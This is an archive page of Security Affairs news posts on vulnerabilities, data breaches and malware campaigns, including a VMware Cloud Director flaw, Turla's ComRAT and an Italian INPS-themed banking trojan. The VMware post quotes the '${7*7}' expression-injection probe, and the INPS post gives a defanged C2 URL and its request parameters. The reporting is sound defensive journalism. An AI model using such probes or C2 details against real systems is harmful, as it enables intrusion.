Category Archives: it security affairs

Critical flaw in VMware Cloud Director allows hackers to take over company infrastructure

Researchers disclosed a flaw in VMware Cloud Director platform, tracked as CVE-2020-3956, that could be abused to takeover corporate servers.

Security researchers from hacking firm Citadelo disclosed details for a new critical vulnerability in VMware’s Cloud Director platform, tracked as CVE-2020-3956, that could be abused to takeover corporate servers.

VMware Cloud Director is a cloud service-delivery platform that allows organizations to operate and manage successful cloud-service businesses. Using VMware Cloud Director, cloud providers deliver secure, efficient, and elastic cloud resources to thousands of enterprises and IT teams across the world.

The vulnerability could potentially allow an authenticated attacker to gain access to corporate network, access to sensitive data, and control private clouds within an entire infrastructure.

“A code injection vulnerability in VMware Cloud Director was privately reported to VMware. Patches and workarounds are available to remediate or workaround this vulnerability in affected VMware products.” reads the advisory published by VMware. “VMware Cloud Director does not properly handle input leading to a code injection vulnerability.”

The CVE-2020-3956 flaw is a code injection issue that is caused by the improper input handling that could be triggered by an attacker by sending malicious traffic to Cloud Director, leading to the execution of arbitrary code. The flaw received a score of 8.8 out of 10 on the CVSS v.3 vulnerability severity scale.

The flaw can be exploited through the HTML5- and Flex-based UIs, the API Explorer interface, and API access.

“An authenticated actor may be able to send malicious traffic to VMware Cloud Director which may lead to arbitrary remote code execution. This vulnerability can be exploited through the HTML5- and Flex-based UIs, the API Explorer interface and API access.” continues the advisory.

The vulnerability affects VMware Cloud Director versions 10.0.x before, 9.7.0.x before, 9.5.0.x before, and 9.1.0.x before

Experts from Citadelo discovered the issue while conducting a security audit of the cloud infrastructure.of an unnamed Fortune 500 enterprise customer.

In a blog post the researchers explained that a single simple form submission can be manipulated to gain control of any Virtual Machine (VM) within VMware Cloud Director.

“Everything started with just a simple anomaly. When we entered ${7*7} as a hostname for the SMTP server in vCloud Director, we received the following error message: String value has an invalid format, value: [49],” “It indicated some form of Expression Language injection, as we were able to evaluate simple arithmetic functions on the server-side.”

Experts exploited the issue to access arbitrary Java classes (e.g. ““) and instantiate them by passing malicious payloads.

Citadelo experts were able to perform the following actions triggering the vulnerability:

  • View content of the internal system database, including password hashes of any customers allocated to this infrastructure.
  • Modify the system database to steal foreign virtual machines (VM) assigned to different organizations within Cloud Director.
  • Escalate privileges from “Organization Administrator” (normally a customer account) to “System Administrator” with access to all cloud accounts (organization) as an attacker can change the hash for this account.
  • Modify the login page to Cloud Director, which allows the attacker to capture passwords of another customer in plaintext, including System Administrator accounts.
  • Read other sensitive data related to customers, like full names, email addresses or IP addresses.

Citadelo privately reported the flaw to VMware on April 1, and the company addressed the issues with the release of versions,,, and

The experts also published a proof-of-concept code for the vulnerability.

VMware has also released a workaround to mitigate the risk of exploitation for the flaw.

Pierluigi Paganini

(SecurityAffairs – VMware Cloud Director, cybersecurity)

The post Critical flaw in VMware Cloud Director allows hackers to take over company infrastructure appeared first on Security Affairs.

The team behind the Joomla CMS discloses a data breach

Maintainers at the Joomla open-source content management system (CMS) announced a security breach that took place last week.

Last week a member of the Joomla Resources Directory (JRD) team left an unencrypted full backup of the JRD site ( on an unsecured Amazon Web Services S3 bucket operated by the company.

The company did not reveal is third-parties have found and accessed to the S3 bucket.

“JRD full site backups (unencrypted) were stored in a third-party company Amazon Web Services S3 bucket. The third-party company is owned by a former Team Leader, still Member of the JRD team at the time of the breach.” reads the data breach notification. “Known to the current Team Leader at the time of the breach. ( Each backup copy included a full copy of the website, including all the data.”

The backup contained details for approximatively 2,700 users who registered and created profiles on the JRD website.

The Joomla Resources Directory portal allows professionals and developers to advertise their services.

Joomla team is investigating the data leak said they are still investigating the incident. It is currently unclear if anyone found and download the data from the third-party company’s S3 server.

The Joomla team also carried out a full security audit of the portal.

“The audit also highlighted the presence of Super User accounts owned by individuals outside Open Source Matters,” continues the notification.

Data contained in the backup includes :

  • Full name
  • Business address
  • Business email address
  • Business phone number
  • Company URL
  • Nature of business
  • Encrypted password (hashed)
  • IP address
  • Newsletter subscription preferences

The data breach notification states that most of the data was public, because it was a public directory, anyway private data (unpublished, unapproved listings, tickets) was exposed in the breach.

The Joomla team is urging JRD users to change their password on the JRD portal and on other sites where they share the login credentials.

“Even if we don’t have any evidence about data access, we highly recommend people who have an account on the Joomla Resources Directory and use the same password (or combination of email address and password) on other services to immediately change their password for security reasons.” concludes the notification.

Pierluigi Paganini

(SecurityAffairs – data breach, hacking)

The post The team behind the Joomla CMS discloses a data breach appeared first on Security Affairs.

KingNull leaks DB of Daniel’s Hosting dark web hosting provider

Earlier this year a hacker breached Daniel’s Hosting, the largest free web hosting provider for dark web hidden services and now leaked its DB.

A threat actor has leaked the database of Daniel’s Hosting (DH), the largest free web hosting provider for dark web hidden services.

The hacker has stolen the data in March when he breached the hosting provider, almost 7,600 dark web portals have been taken offline following the security breach.

Daniel Winzen, a German software developer that operated the service, revealed that attackers accessed the backend of the hosting provider and deleted all the databases of the websites hosted by Daniel’s Hosting.

Winzen definitively shut down the service on March 26.

Today ZDNet reported that a hacker that goes online with the moniker ‘KingNull’ uploaded a copy of Daniel’s Hosting database on a file-hosting site.

“According to a cursory analysis of today’s data dump, the leaked data includes 3,671 email addresses, 7,205 account passwords, and 8,580 private keys for .onion (dark web) domains.” reported ZDNet.

Threat intelligence firm Under the Breach that analyzed the leaked database told ZDNet that the archive includes sensitive information on the owners and users of thousands of darknet sites. IP addresses of administrators and users were not included in the archive.

The database could allow law enforcement agencies to deanonymize administrators of dark web services that were involved in illegal activities.

Unfortunately, the leak could put in danger activists and dissidents that use the darknets to avoid the censorship applied by regimes.

In November 2018, Daniel’s Hosting provider was victims of another incident, attackers hacked the service and deleted 6,500+ sites.

ZDNet revealed that Winzen plans to launch again the hosting service in several months.

Pierluigi Paganini

(SecurityAffairs – dark web, hacking)

The post KingNull leaks DB of Daniel’s Hosting dark web hosting provider appeared first on Security Affairs.

Coronavirus-themed attacks May 24 – May 30, 2020

This post includes the details of the Coronavirus-themed attacks launched from May 24 to May 30, 2020.

Threat actors exploit the interest in the Coronavirus outbreak while infections increase worldwide, experts are observing new campaigns on a daily bases.

Below a list of attacks detected this week.

May 26 – Hangzhou could permanently adopt COVID-19 contact-tracing app

The City of Hangzhou is planning to make a contact tracing system developed to fight the COVID-19 pandemic permanent for its citizens.

May 27 – Fuckunicorn ransomware targets Italy in COVID-19 lures

A new piece of ransomware dubbed FuckUnicorn it targeting Italy by tricking victims into downloading a fake COVID-19 contact tracing app.

May 29 – Himera and AbSent-Loader Leverage Covid19 lures

Researchers at ZLab spotted a new phishing campaign using Covid19 lures to spread Himera and Absent-Loader.  

May 30 – A new COVID-19-themed campaign targets Italian users

Security researchers uncovered a new COVID-19-themed campaign targeting users of the National Institute for Social Security (INPS).

If you are interested in COVID19-themed attacks from February 1 give a look at the following posts:

If you are interested in COVID19-themed attacks from February 1 give a look at the following posts:

Pierluigi Paganini

(SecurityAffairs – COVID-19, Coronavirus themed campaigns)

The post Coronavirus-themed attacks May 24 – May 30, 2020 appeared first on Security Affairs.

Over 100K+ WordPress sites using PageLayer plugin exposed to hack

Two security flaws in the PageLayer WordPress plugin can be exploited to potentially wipe the contents or take over WordPress sites.

Security experts from WordFence discovered two high severity security vulnerabilities in the PageLayer WordPress plugin that could potentially allow attackers to wipe the contents or take over WordPress sites using vulnerable plugin versions.

PageLayer is a WordPress page builder plugin, it is very easy to use and actually has over 200,000 active installations according to numbers available on its WordPress plugins repository entry.

The vulnerabilities were reported to PageLayer’s developer by the Wordfence Threat Intelligence team on April 30 and were patched with the release of version 1.1.2 on May 6.

One vulnerability could allow an authenticated user with subscriber-level and above permissions to update and modify posts.

“One flaw allowed any authenticated user with subscriber-level and above permissions the ability to update and modify posts with malicious content, amongst many other things,” reads the post published by Wordfence.

The second vulnerability could allow attackers to forge a request on behalf of a site’s administrator to change the plugin settings allowing to inject malicious Javascript.

Both vulnerabilities are the result of unprotected AJAX actions, nonce disclosure, and a lack of Cross-Site Request Forgery (CSRF) protection. An attacker could exploit the vulnerabilities to inject malicious JavaScript code, alter the pages of the site, create rogue admin accounts, redirect site visitors to malicious sites, and exploit a site’s user’s browser to compromise their computer.

WordFence experts reported the issue to PageLayer’s developers on April 30 and both were addressed with the release of version 1.1.2 on May 6.

Developers implemented permissions checks on all of the sensitive functions that could allow to change the site and reconfigured the plugin to create separate nonces for the public and administrative areas of a WordPress site.

At the time of writing, more than a hundred thousand WordPress sites still use vulnerable versions of PageLayer plugin.

When it comes to WordPress attacks involving the exploitation of vulnerabilities, malicious actors usually target unpatched plugins, for this reason, it is essential to keep them up to date.

I believe it is very important to protect WordPress install with dedicated solutions, I’m currently using WordFence solution, the company provided with a license to evaluate the premium features.

Pierluigi Paganini

(SecurityAffairs – PageLayer, hacking)

The post Over 100K+ WordPress sites using PageLayer plugin exposed to hack appeared first on Security Affairs.

A new COVID-19-themed campaign targets Italian users

Security researchers uncovered a new COVID-19-themed campaign targeting users of the National Institute for Social Security (INPS).

Security experts from D3Lab have uncovered a new COVID-19-themed phishing campaign that is targeting the users of the Italian National Institute for Social Security (INPS). Like a previous campaign observed in early April, threat actors set up a fake INPS site used (“inps-it[.]top”) to trick victims into downloading a malicious app.

“A new Phishing campaign against INPS users , similar to the previous one of April 6, 2020 , has been detected in the past few hours by our research and analysis center for Phishing campaigns.” reads the post published D3Lab.

“The fraudulent activity is carried out through a web domain created Ad Hoc with similarities, in the name, to the official one of the national social security institution with the intent to download malware to users interested in receiving the Covid-19 allowance allocated from the Italian state.”

COVID-19 campaign INPS
COVID-19 campaign INPS

D3Lab reported its findings to the Italian CERT-AGID that published a security advisory.

Cybercriminals are attempting to take advantage of the Covid-19 indemnity that the Italian government will give to some Italian citizens with specific requirements.

The citizens have to request the Covid-19 indemnity to the goverment through the INPS portal, for this reason, threat actors set up a fake INPS site asking people to download a phantom “application for the new COVID-19 indemnity” which actually returns a malicious APK for Android devices..

The malicious APT, named “acrobatreader.apk,” is a Trojan-Banker malware that is able to monitor the actions performed by the user.

The malware asks users to enable the accessibility service in order to take advantage of the legitimate functions of this service and achieve wider access to the system APIs to communicate with other apps on the device.

“As soon as the presence of connectivity is detected, an HTTP POST request is sent to C2 through the following url ” http: // greedyduck [.] Top / gate [.] Php ” passing two parameters:

  • ” Action “: with botcheck or injcheck values ;
  • ” Data “: information collected and passed in encrypted form (RC4).”

The CERT-AGID published the Indicators of Compromise (IoCs) here.

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post A new COVID-19-themed campaign targets Italian users appeared first on Security Affairs.

NetWalker ransomware gang threatens to release Michigan State University files

Michigan State University is the last victim of the NetWalker ransomware, attackers threaten to leak stolen files if it will not pay the ransom in seven days.

Michigan State University hit by ransomware gang, NetWalker ransomware operators are threatening to leak stolen files if the university will not pay the ransom in seven days.

At the time of writing the ransom demand to decrypt their files was not disclosed.

Even if the MSU will restore from backups, the NetWalker ransomware gang will leak the documents stolen on its dark web leak site.

As a proof of the attack, NetWalker ransomware operators have shared five images on the leak site.

“These include two images showing a directory structure allegedly from the university’s network, a passport scan for a student, and two scans of Michigan State financial documents.” reported ZDNet.

Source ZDNet

The NetWalker group is very active in this period, the list of the victims of the gang includes the shipping giant Toll. Researchers also identified a new Coronavirus phishing campaign that aims at delivering the Netwalker Ransomware using COVID-19 lures.

The university did not reveal the extent of the attack, students and employees are still working from home due to the COVID-19 outbreak, anyway, the incident may not impact the e-learning activity.

NetWalker isn’t the unique ransomware gang that is threatening to publish data of the victims to force to pay the ransom, other gangs are DopplePaymer, Maze, Nefilim, Nemty, RagnarLocker, and REvil.

Pierluigi Paganini

(SecurityAffairs – Michigan State University, hacking)

The post NetWalker ransomware gang threatens to release Michigan State University files appeared first on Security Affairs.

A New York man was charged with stealing credit card data via SQL Injection attacks

The US DoJ announced that a New York City man was charged with hacking, credit card trafficking, and money laundering conspiracies.

New York City man Vitalii Antonenko (28) was charged with hacking, credit card trafficking, and money laundering conspiracies, states the US DoJ.

The man was arrested in March 2019 and detained after his arrival from Ukraine. The man was carrying computers and other digital media holding containing hundreds of thousands of stolen payment card numbers.

“Vitalii Antonenko, 28, was indicted on one count of conspiracy to gain unauthorized access to computer networks and to traffic in unauthorized access devices, and one count of money laundering conspiracy.” reads the press release published by US DoJ. “In March 2019, Antonenko was arrested and detained on money laundering charges at New York’s John F. Kennedy International Airport after he arrived there from Ukraine carrying computers and other digital media that held hundreds of thousands of stolen payment card numbers.”

The man nd co-conspirators obtained the credit card data by hacking into vulnerable computer networks.

The hackers launched SQL injection attacks to access vulnerable networks and steal Payment Card Data and other PII.

Crooks were able to steal card account numbers, expiration dates, and card verification values, along with other personally identifiable information (PII), then they were offering them for sale on cybercrime marketplaces.

“They used a hacking technique known as a “SQL injection attack” to access those networks without authorization, extracted Payment Card Data and other PII, and transferred it for sale on online criminal marketplaces.” continues the DoJ. “Once a co-conspirator sold the data, Antonenko and others used Bitcoin as well as traditional bank and cash transactions to launder the proceeds in order to disguise their nature, location, source, ownership, and control.”

The charges related to unauthorized access carry a sentence of up to five years in prison, three years of supervised release, a $250,000 fine, restitution and forfeiture.

Antonenko faces up to 20 years in prison and a $500,000 fine for the money laundering conspiracy charges.

Pierluigi Paganini

(SecurityAffairs – Card Data, hacking)

The post A New York man was charged with stealing credit card data via SQL Injection attacks appeared first on Security Affairs.

ICT solutions provider NTT Com discloses security breach

NTT Communications (NTT Com), a subsidiary of tech giant NTT Corp, disclosed a data breach that impacted hundreds of customers.

NTT Communications (NTT Com), a subsidiary of the tech giant NTT Corp, disclosed a data breach that impacted hundreds of customers.

NTT Com provides network management, security and solution services[3] to consumers, corporations and governments.

NTT Com Group has more than 30 companies in the Asia-Pacific regionEurope and the Americas.

The company launched an investigation after discovering unauthorized access to some systems on May 7, then this week it confirmed that threat actors may have been stolen.

“NTT Communications (hereafter NTT Com) detected an unauthorized access to our equipment that has been made by an attacker on May 7, and the possibility that some information may have leaked to the outside was confirmed on May 11.” reads the data breach notification.

Experts at NTT Com initially noticed suspicious activity on an Active Directory server, then they discovered that threat actors have breached an operational server and an information management server that stored customer information.

The internal investigation revealed that attackers initially targeted a server in Singapore, then used it for lateral movements and reach the infrastructure in Japan.

In response to the incident, the company shut down impacted servers to avoid the malware from spreading and communicating with external servers.

According to NTT, the security breach could impact 621 companies whose information was stored on the information management server.

The company announced that it has taken additional measures to prevent similar attacks in the future.

Other major Japanese companies recently disclosed security breaches, some of them took place years ago, including NEC, Mitsubishi ElectricPasco and Kobe Steel.

Pierluigi Paganini

(SecurityAffairs – NTT, hacking)

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Steganography in targeted attacks on industrial enterprises in Japan and Europe

Threat actors targeted industrial suppliers in Japan and several European countries in sophisticated attacks, Kaspersky reported.

Researchers from Kaspersky’s ICS CERT unit reported that threat actors targeted industrial suppliers in Japan and several European countries in sophisticated attacks.

The experts first observed the attacks in early 2020, while in early May, threat actors targeted organizations in Japan, Italy, Germany and the UK.

Hackers targeted suppliers of equipment and software for industrial enterprises with spear-phishing messages using malicious Microsoft Office documents. Attackers used PowerShell scripts, as well as various techniques to evade the detection and avoid the analysis of the malware.

“Phishing emails, used as the initial attack vector, were tailored and customized under the specific language for each specific victim. The malware used in this attack performed destructive activity only if the operating system had a localization that matched the language used in the phishing email.” reads the report published by Kaspersky. “For example, in the case of an attack on a company from Japan, the text of a phishing email and a Microsoft Office document containing a malicious macro were written in Japanese. “

The phishing messages are crafted to trick victims into opening the attached document and enable the macros. The emails are written in the target’s language, and the malware only starts if the operating system language on the machine matches the language in the phishing email.

Hackers used the Mimikatz tool to steal the authentication data of Windows accounts stored on a compromised system. At the time, the final goal of the threat actors is still unknown.

Kaspersky experts only observed malicious activity on IT systems, OT networks were not impacted in the attacks.

Upon executing the macro script contained in the bait document, a PowerShell script is decrypted and executed. This script downloads an image from image hosting services such as Imgur or imgbox, experts noticed that the URL of the image is randomly selected from a list.

The image contains data that is extracted by the malware to create another PowerShell script, which in turn creates another PowerShell script that is an obfuscated version of Mimikatz post-exploitation tool.

“The data is hidden in the image using steganographic techniques and is extracted by the malware from pixels defined by the algorithm. Using steganography enables the attackers to evade some security tools, including network traffic scanners.” continues the analysis.

“The data extracted from the image is consecutively encoded using the Base64 algorithm, encrypted with the RSA algorithm and encoded using Base64 again. Curiously, the script has an error in its code, included on purpose, with the exception message used as the decryption key.”

Attackers also used an exception message as the decryption key for a malicious payload, also in this case the technique aims at evade the detection.

Kaspersky confirmed that its solutions have blocked all the attacks it has detected.

“This attack has caught the attention of researchers because the attackers use several unconventional technical solutions.” concludes Kaspersky.

“The use of the above techniques, combined with the pinpoint nature of the infections, indicates that these were targeted attacks. It is a matter of concern that attack victims include contractors of industrial enterprises. If the attackers are able to harvest the credentials of a contractor organization’s employees, this can lead to a range of negative consequences, from the theft of sensitive data to attacks on industrial enterprises via remote administration tools used by the contractor.”

Pierluigi Paganini

(SecurityAffairs – industrial supplier attack, hacking)

The post Steganography in targeted attacks on industrial enterprises in Japan and Europe appeared first on Security Affairs.

Microsoft warns about ongoing PonyFinal ransomware attacks

Microsoft is warning organizations to deploy protections against a new strain of PonyFinal ransomware that has been in the wild over the past two months.

Microsoft’s security team issued a series of tweets warning organizations to deploy protections against a new piece of ransomware dubbed PonyFinal that has been in the wild over the past two months.

PonyFinal is Java-based ransomware that is manually distributed by threat actors. The ransomware first appeared in the threat landscape earlier this year and was involved in highly targeted attacks against selected targets, mainly in India, Iran, and the US.

Human-operated ransomware is a technique usually employed in nation-state attacks that is becoming very popular in the cybercrime ecosystem.

In human-operated ransomware attack scenario, attackers use stolen credentials, exploit misconfiguration and vulnerabilities to access target networks, attempt to escalate privileges and move laterally, and deliver malware and exfiltrate data.

Most infamous human-operated ransomware campaigns include SodinokibiSamasBitpaymer, and Ryuk.

PonyFinal operators initially target organizations’ systems management server via brute force attacks, then they deploy a VBScript to run a PowerShell reverse shell to perform data dumps. Threat actors also use a remote manipulator system to bypass event logging.

Once the PonyFinal attackers gained access to the target’s network, they will move laterally to infect other systems with the ransomware.

In many cases, attackers targeted workstations running the Java Runtime Environment (JRE) because the PonyFinal is written in Java, but is some attacked the gang installed JRE on systems before deploying the ransomware.

The PonyFinal ransomware usually adds the “.enc” extension to the names of the encrypted files, it drops a ransom note (named README_files.txt) on the infected systems. The ransom note contains the payment instructions.

Experts pointed out that the encryption scheme of the PonyFinal ransomware is secure and there is no way at the time to recover encrypted files.

Unfortunately, PonyFinal is one of the several human-operated ransomware that were employed in attacks aimed at the healthcare sector during the COVID-19 pandemic.

Other threat are NetWalker, Maze, REvil, RagnarLocker, and LockBit.

Pierluigi Paganini

(SecurityAffairs – Ponyfinal ransomware, hacking)

The post Microsoft warns about ongoing PonyFinal ransomware attacks appeared first on Security Affairs.

Real estate app leaking thousands of user records and sensitive private messages

Real estate app leaking thousands of user records and sensitive private messages

The CyberNews research team uncovered an unsecured Amazon Simple Storage Service bucket of confidential user chat logs belonging to Real estate app Tellus, a US-based software company.

Tellus is a software company based in Palo Alto, California, backed by “well-known investors” that aims to “reimagine Real Estate for the modern era.” The company’s app portfolio includes the Tellus App, a real estate loan, management and investing program. Its target users are American landlords and tenants who can receive and pay rent money, as well as keep all of their ownership and rent related data like rental listings, personal information, and correspondence between tenants and landlords in one place.

The data bucket in question contains a folder with 6,729 CSV files related to the Tellus app that include the app’s user records, chat logs, and transaction records left on a publicly accessible Amazon storage server.

How we found the Tellus app bucket

We discovered the exposed data by scanning through open Amazon Simple Storage Service (S3) buckets, which are online servers that can be used to store data for websites, apps, archives, IoT devices, and more.

Amazon S3 buckets are also known for being challenging to secure, leaving many servers unprotected – and often in the news

We identified Tellus as the owner of the database and notified the company about the leak. As of May 15, the data bucket security issue has been fixed by the Tellus security team and the data is no longer accessible. 

What’s in the data bucket?

The unsecured and unencrypted Amazon S3 bucket contains, among other things:

  • 16,861 user records, including 3,194 verified property owner records and 1,294 verified tenant records stored in separate files
  • Chat logs of private messages between thousands of Tellus platform users, including landlords, tenants, building managers, investors, and Tellus support staff between early 2018 and January 2020
  • Tens of thousands of timestamped property owner transaction records
  • Detailed tenant lead and payment records, including transaction metadata

All of this data is conveniently stored in spreadsheet format that can be easily opened, read, and downloaded by anyone who knows what to look for.

The exposed user records contain:

  • Full names of users, including verified tenants and property owners
  • Traceable user IDs used in transaction records and other logs
  • Email addresses
  • Phone numbers

Example of leaked user records:

The private messages in the chat logs and tenant lead files contain not only the texts of the conversations themselves, but also deeply sensitive content attached therein, including:

  • Full names of the parties involved in the conversation
  • Rent amounts and dates when they are due
  • Tenants’ rented home addresses
  • Case charges and court dates
  • Tenant document scans
  • Screenshots of sensitive images, including other conversations on social media

Example of leaked private messages:

Example of leaked tenant lead messages:

Example of leaked tenant lead messages

Example of leaked transaction records:

Example of leaked transaction records

This means that, in the worst-case scenario, leaving the Tellus S3 bucket unsecured and unencrypted might have led to the continued exposure of data belonging to the entire Tellus user base over a period of up to two years, from 2018 to 2020.

Who had access?

The exposed data was hosted on an Amazon Simple Storage Service (S3) server and located in the US. It is currently unknown for how long the data was left unprotected, and we assume that anyone who knew what to look for could have accessed the data bucket without needing any kind of authentication during the unspecified exposure period.

With that said, it is unclear if any malicious actors have accessed the unsecured data bucket until it was closed by Tellus.

What’s the impact?

While numbers-wise this might not appear like a major leak, the impact on the nearly 17,000 Americans whose records were exposed could be significant if certain data was made publicly available.

Here’s how attackers might use the information found in the Tellus S3 bucket against the exposed users:

  • Blackmailing both tenants and landlords by threatening to publicize the sensitive content found in their private messages and transaction logs
  • Using the information found in private messages to mount targeted phishing attacks, hack online bank accounts, and engage in identity theft
  • Spamming emails and phones
  • Brute-forcing the passwords of the email addresses 
  • Brute-forcing the passwords of the Tellus accounts and stealing the funds therein

Original post available on Cybernews:

About the author Edvardas Mikalauskas

Edvardas Mikalauskas is a writer for Ed’s interests include all things tech and cybersecurity. You can reach him via email or find him on Twitter giggling at jokes posted by parody accounts.

Pierluigi Paganini

(SecurityAffairs – Real estate app leaking, hacking)

The post Real estate app leaking thousands of user records and sensitive private messages appeared first on Security Affairs.

Researchers dismantled ShuangQiang gang’s botnet that infected thousands of PCs

A joint operations conducted by experts from Chinese firms Qihoo 360 Netlab and Baidu dismantle the ShuangQiang ‘s botnet infecting over hundreds of thousands of systems.

A joint operation conducted by Chinese security firm Qihoo 360 Netlab and tech giant Baidu disrupted a botnet operated by a group tracked as ShuangQiang (aka Double Gun) that infected over hundreds of thousands of systems.

ShuangQiang is financially motivated, it has been active since 2017 targeting Windows computers with MBR and VBR bootkits, and installing malicious drivers for financial gain and hijack web traffic to e-commerce sites.

“Recently, our DNS data based threat monitoning system DNSmon flagged a suspicious domain The system estimates the scale of infection may well above hundreds of thousands of users. By analyzing the related samples and C2s.” reads the analysis published by the experts.
“We traced its family back to the ShuangQiang(double gun) campaign, in the past, this campaign has been exposed by multiple security vendors, but it has rvivied and come back with new methods and great force.”

Threat actors were distributing configuration files and malware that were hidden using steganography in images uploaded to Baidu Tieba. The hackers also began using Alibaba Cloud storage to host configuration files and Baidu’s analytics platform Tongji as command infrastructure.

The attack chain leverages game launching software from underground game portals that contain malicious code masqueraded as a patch.

Attackers used two methods to infect the victims, one using the game launcher with malicious code, the second releasing and load a malicious driver.

ShuangQiang botnet

Upon downloading and installing the alleged patch from an underground game server, the victim accesses the configuration information to download another program named “cs.dll” from Baidu Tieba that’s stored as an image file. Then the “cs.dll” creates a bot ID and contacts the C2, then it injects a second driver that hijacks system processes (e.g., lassas.exe and svchost.exe) to download next-stage payloads.

“The drive will copies itself to Windows/system32/driver/{7 random letters}.sys to disguise itself as a legitimate drive, such as fltMgr.sys, and inject DLL module to the system processes Lassas.exeand svchost.exe.” continues the report. “After the entire initialization process is completed, a driver and DLL module work together to complete the work mode through DeviceIoControl () , which is a driver-level downloader. All sensitive configuration information is stored inside the driver.”

In the second attack chain detailed by the researchers, the attackers leverage DLL hijacking to force game client software into loading malicious DLL files using the same name.

Threat actors altered the software using a modified version of photobase.dll, which is used by multiple underground game client software.

Experts from Qihoo 360 Netlab reported their findings to Baidu on May 14 and that launched a jointly operations to block the botnet by tracking all the URLs used by the attackers.

“During this joint action, we had a better understanding on double gun gang’s technical means, logic, and rules, by sharing, analysising, and response to the related threat intelligence.” concludes the report.

Pierluigi Paganini

(SecurityAffairs – ShuangQiang, hacking)

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Boris Johnson to reduce Huawei’s role in national 5G network

UK Government will reduce the presence of the equipment manufactured by Chinese Huawei in its 5G network in the wake of the coronavirus outbreak.

UK Government will reduce the presence of the equipment manufactured by the Chinese tech firm Huawei in its 5G network in the wake of the Coronavirus outbreak.

Early this year, the UK Government agreed on the involvement of Huawei in the national 5G network, while the United States expressed its disappointment for the Johnson decision and threatened to limit intelligence sharing with the ally. 

“The Prime Minister plans to reduce Huawei’s involvement in Britain’s 5G network in the wake of the coronavirus outbreak, the Telegraph has learned.” reported The Telegraph.

“Boris Johnson has instructed officials to draw up plans that would see China’s involvement in the UK’s infrastructure scaled down to zero by 2023.”

Prime Minister Boris Johnson has tacked officials to draft plans that would define the way Chinese firms will be involved in Britain’s infrastructure end by 2023.

Next month Mr Johnson will visit the US to participate at the G7 summit, he aims at confirming that the UK jhas reduced its dependecy from the China provisioning of 5G network equipment, a circumstance that could ramp up trade talks with US President Donald Trump.

In January, the EU’s executive Commission presented a set of rules and technical measures aimed at reducing cybersecurity risks from the adoption of 5G. The Commission’s recommendations included blocking high-risk equipment suppliers from “critical and sensitive” components of 5G infrastructures, such as the core.

The EU’s executive Commission did not explicitly mention companies, but a clear reference is to the Chinese firm Huawei.

In January, the British Government also agreed to assign a limited role for Huawei in the country’s 5G network, but highlighted that “high-risk vendors” would be excluded from the building of “sensitive” core infrastructure.

US Government continues to push hard for countries to ban Chinese companies from building their next-generation 5G network, claiming Chinese equipment can be exploited by the Chinese government for cyber espionage.

MPs in Johnson’s party doesn’t agree with the involvement of Huawei in building 5G network.

“He has taken a great many soundings from his own MPs on this issue and shares their serious concerns. The deal was struck before the pandemic hit but coronavirus has changed everything,” an unnamed source told The Telegraph.

Pierluigi Paganini

(SecurityAffairs – 5G, hacking)

The post Boris Johnson to reduce Huawei’s role in national 5G network appeared first on Security Affairs.

New Turla ComRAT backdoor uses Gmail for Command and Control

Researchers uncovered a new advanced variant of Turla’s ComRAT backdoor that leverages Gmail’s web interface as C2 infrastructure.

Cybersecurity researchers discovered a new version of the ComRAT backdoor, also known as Agent.BTZ, which is a malware that was employed in past campaigns attributed to the Turla APT group.

Earlier versions of Agent.BTZ were used to compromise US military networks in the Middle East in 2008.

The new variant leverages Gmail’s web interface to covertly receive commands and exfiltrate sensitive data.

ComRAT v4 appeared in the threat landscape in 2017 and is still used by threat actors, recently a new variant was used in attacks against two Ministries of Foreign Affairs in Eastern Europe and a national parliament in the Caucasus region.

ComRAT turla 2.png

This new version was developed from scratch and is far more complex than its predecessors. 

The Turla APT group (aka SnakeUroburosWaterbugVenomous Bear and KRYPTON) has been active since at least 2007 targeting diplomatic and government organizations and private businesses in the Middle East, Asia, Europe, North and South America, and former Soviet bloc nations.

The list of previously known victims is long and includes also the Swiss defense firm RUAG, US Department of State, and the US Central Command.

ComRAT is a sophisticated backdoor developed in C++, it could perform many malicious actions on the infected systems, such as executing additional payloads or exfiltrating files.

The backdoor uses a Virtual FAT16 File System formatted in FAT16, it is deployed using existing access methods, including the PowerStallion PowerShell backdoor.

ComRAT leverages the following C2 channels:

  • HTTP: It uses exactly the same protocol as ComRAT v3
  • Email: It uses the Gmail web interface to receive commands and exfiltrate data

The main components of the of the ComRAT v4 are:

  • an orchestrator, which is injected into explorer.exe process and is used to control most of ComRAT functions.
  • a communication module (a DLL), which is injected into the default browser by the orchestrator. It communicates with the orchestrator using a named pipe.
  • a Virtual FAT16 File System, containing the configuration and the logs files.

“The main use of ComRAT is discovering, stealing and exfiltrating confidential documents. In one case, its operators even deployed a .NET executable to interact with the victim’s central MS SQL Server database containing the organization’s documents.” reads the report published by the experts.

To evade detection, ComRAT files, with the exception of the orchestrator DLL and the scheduled task for persistence, are stored in a virtual file system (VFS). The default VFS container file is hardcoded in the orchestrator components that drops the first time it is executed.

The C&C “mail” mode was specific to the Gmail email provider.

The orchestrator reads the email address in /etc/transport/mail/mailboxes/0/command_addr by parsing the inbox HTML page (using Gumbo HTML parser) and the cookies to authenticate on Gmail in /etc/transport/mail/mailboxes/0/cookie.
The cookies have a limited lifetime so they should be updated from each interaction.

The Gmail parser could get the list of emails with subject lines that match those in a “subject.str” file in the VFS.

The comRAT backdoor downloads the attachments (e.g. “document.docx,” “documents.xlsx”) from each email that meets the above criteria, then it deleted the emails to avoid processing them twice.

Despite their extensions, the attachments are not Office documents, but rather encrypted blobs of data that include a specific command to be executed.

The backdoor creates an attachment containing the result of the commands, its name consists of 20 random digits and of the .jpg.bfe so-called double extension.

The analysis of the time of day that commands were sent in a one-month period reveals that the operators are working in the UTC+3 or UTC+4 time zone.

“Version four of ComRAT is a totally revamped malware family released in 2017,” ESET concludes. “Its most interesting features are the Virtual File System in FAT16 format and the ability to use the Gmail web UI to receive commands and exfiltrate data. Thus, it is able to bypass some security controls because it doesn’t rely on any malicious domain.”

Pierluigi Paganini

(SecurityAffairs – Tesla, hacking)

The post New Turla ComRAT backdoor uses Gmail for Command and Control appeared first on Security Affairs.

Cisco fixed a critical issue in the Unified Contact Center Express

Cisco has released several security patches, including one for a critical issue, tracked as CVE-2020-3280, in the call-center software Unified Contact Center Express.

Cisco released a set of security patches, including one for a critical flaw in its call-center software Unified Contact Center Express, tracked as CVE-2020-3280.

The CVE-2020-3280 vulnerability is a remote code execution issue that resides in the Java remote management interface for Unified CCE.

“A vulnerability in the Java Remote Management Interface of Cisco Unified Contact Center Express (Unified CCX) could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.” reads the security advisory published by Cisco.

